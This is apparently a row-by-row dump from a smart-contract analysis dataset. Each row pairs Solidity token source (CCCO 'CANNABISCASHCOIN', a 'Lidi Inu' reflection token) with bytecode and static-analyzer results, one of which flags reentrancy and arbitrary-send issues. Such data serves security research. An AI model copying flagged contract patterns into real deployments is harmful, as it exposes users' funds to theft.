0000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137808161328c565b811461378b57600080fd5b50565b6137978161329e565b81146137a257600080fd5b50565b6137ae816132ca565b81146137b957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202e66a476ee71579fc5fbed40d30016f3503c94ccd16ead53c1b39f4a51eca4c764736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,739 |
0xf2056f44Cc4c6453Ea11802929858c7D93cb2a9B
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'CCCO' token contract
// Symbol : CCCO
// Name : CANNABISCASHCOIN
// Total supply: 111,000,000,000,000,000 ONE-HUNDRED ELEVEN QUADRILLION
// Decimals : 18
// Owners Address 0x37FE16B6dddaE1D3C7954B6f067a8e7B4B548e97
// MINTING WILL ONLY BE USED ONE TIME TO TRANSFER TOKENS TO THE OWNERS OF CANNABISCASHCOIN! (VIA INITIAL CONTRACT) NO OTHER FORM OF MINTING WILL OCCUR!
// CANNABISCASHCOIN WILL BURN FIVE-HUNDRED TRILLION TOKENS IN CIRCULATION FOR FIVE YEARS. 12/31/2022, 12/31/2023, 12/31/2024, 12/31/2025 12/31/2026 NO OTHER BURNS WILL OCCUR!
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the sender's balance is greater than the totalSupply, which *should* be an assertion failure
// CANNABISCASHCOIN WILL BURN FIVE-HUNDRED TRILLION TOKENS IN CIRCULATION FOR FIVE YEARS. 12/31/2022, 12/31/2023, 12/31/2024, 12/31/2025 12/31/2026 NO OTHER BURNS WILL OCCUR!
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract CCCO is BurnableToken {
string public constant name = "CANNABISCASHCOIN";
string public constant symbol = "CCCO";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 111000000000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
// MINTING WILL ONLY BE USED ONE TIME TO TRANSFER TOKENS TO THE OWNERS OF CANNABISCASHCOIN! (VIA INITIAL CONTRACT) NO OTHER FORM OF MINTING WILL OCCUR!
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063661884631161008c57806395d89b411161006657806395d89b41146103d2578063a9059cbb14610455578063d73dd623146104b9578063dd62ed3e1461051d576100ea565b806366188463146102e257806370a08231146103465780638da5cb5b1461039e576100ea565b806323b872dd116100c857806323b872dd146101f4578063313ce56714610278578063378dc3dc1461029657806342966c68146102b4576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d6575b600080fd5b6100f7610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ce565b60405180821515815260200191505060405180910390f35b6101de6106c0565b6040518082815260200191505060405180910390f35b6102606004803603606081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b6102806109b0565b6040518082815260200191505060405180910390f35b61029e6109b5565b6040518082815260200191505060405180910390f35b6102e0600480360360208110156102ca57600080fd5b81019080803590602001909291905050506109c7565b005b61032e600480360360408110156102f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b8d565b60405180821515815260200191505060405180910390f35b6103886004803603602081101561035c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1e565b6040518082815260200191505060405180910390f35b6103a6610e67565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103da610e8b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041a5780820151818401526020810190506103ff565b50505050905090810190601f1680156104475780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a16004803603604081101561046b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ec4565b60405180821515815260200191505060405180910390f35b610505600480360360408110156104cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611098565b60405180821515815260200191505060405180910390f35b61057f6004803603604081101561053357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611294565b6040518082815260200191505060405180910390f35b6040518060400160405280601081526020017f43414e4e4142495343415348434f494e0000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561070157600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506107d483600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131b90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061086983600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461133290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108bf838261131b90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a67018a59e9721180000281565b600081116109d457600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a2057600080fd5b6000339050610a7782600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131b90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610acf8260015461131b90919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c9e576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d32565b610cb1838261131b90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f4343434f0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eff57600080fd5b610f5182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fe682600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461133290919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061112982600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461133290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561132757fe5b818303905092915050565b60008082840190508381101561134457fe5b809150509291505056fea26469706673582212203ec5ea112fd392dd920fe32959f7c11c064b76bffa6a60c2655a21551575995d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,740 |
0xfb760db24f4572f7a68c8f95f5b7a7c2424187c4
|
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Ctx {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Ctx {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LidiInu is Ctx, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _tname = 'Lidi Inu';
string private _tsymbol = 'LIDI';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _tname;
}
function symbol() public view override returns (string memory) {
return _tsymbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 2);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e996146103ca578063d543dbeb146103fa578063dd62ed3e14610416578063f2cc0c1814610446578063f2fde38b14610462578063f84354f11461047e5761014d565b8063715018a6146103065780637d1db4a5146103105780638da5cb5b1461032e57806395d89b411461034c578063a457c2d71461036a578063a9059cbb1461039a5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634549b039146102a657806370a08231146102d65761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c57806313114a9d146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612d51565b61049a565b005b6101766105ff565b6040516101839190613383565b60405180910390f35b6101a660048036038101906101a19190612d15565b610691565b6040516101b39190613368565b60405180910390f35b6101c46106af565b6040516101d19190613565565b60405180910390f35b6101e26106b9565b6040516101ef9190613565565b60405180910390f35b610212600480360381019061020d9190612cc6565b6106c9565b60405161021f9190613368565b60405180910390f35b610242600480360381019061023d9190612d51565b610847565b60405161024f9190613565565b60405180910390f35b6102606108ae565b60405161026d9190613580565b60405180910390f35b610290600480360381019061028b9190612d15565b6108c5565b60405161029d9190613368565b60405180910390f35b6102c060048036038101906102bb9190612d7a565b610971565b6040516102cd9190613565565b60405180910390f35b6102f060048036038101906102eb9190612c61565b6109f9565b6040516102fd9190613565565b60405180910390f35b61030e610ae4565b005b610318610c1e565b6040516103259190613565565b60405180910390f35b610336610c24565b604051610343919061334d565b60405180910390f35b610354610c4d565b6040516103619190613383565b60405180910390f35b610384600480360381019061037f9190612d15565b610cdf565b6040516103919190613368565b60405180910390f35b6103b460048036038101906103af9190612d15565b610e51565b6040516103c19190613368565b60405180910390f35b6103e460048036038101906103df9190612c61565b610e6f565b6040516103f19190613368565b60405180910390f35b610414600480360381019061040f9190612d51565b610ec5565b005b610430600480360381019061042b9190612c8a565b610f6a565b60405161043d9190613565565b60405180910390f35b610460600480360381019061045b9190612c61565b610ff1565b005b61047c60048036038101906104779190612c61565b61128c565b005b61049860048036038101906104939190612c61565b611435565b005b60006104a4611803565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052a90613525565b60405180910390fd5b600061053e8361180b565b50505050905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461058f9190613698565b600160008473ffffffffffffffffff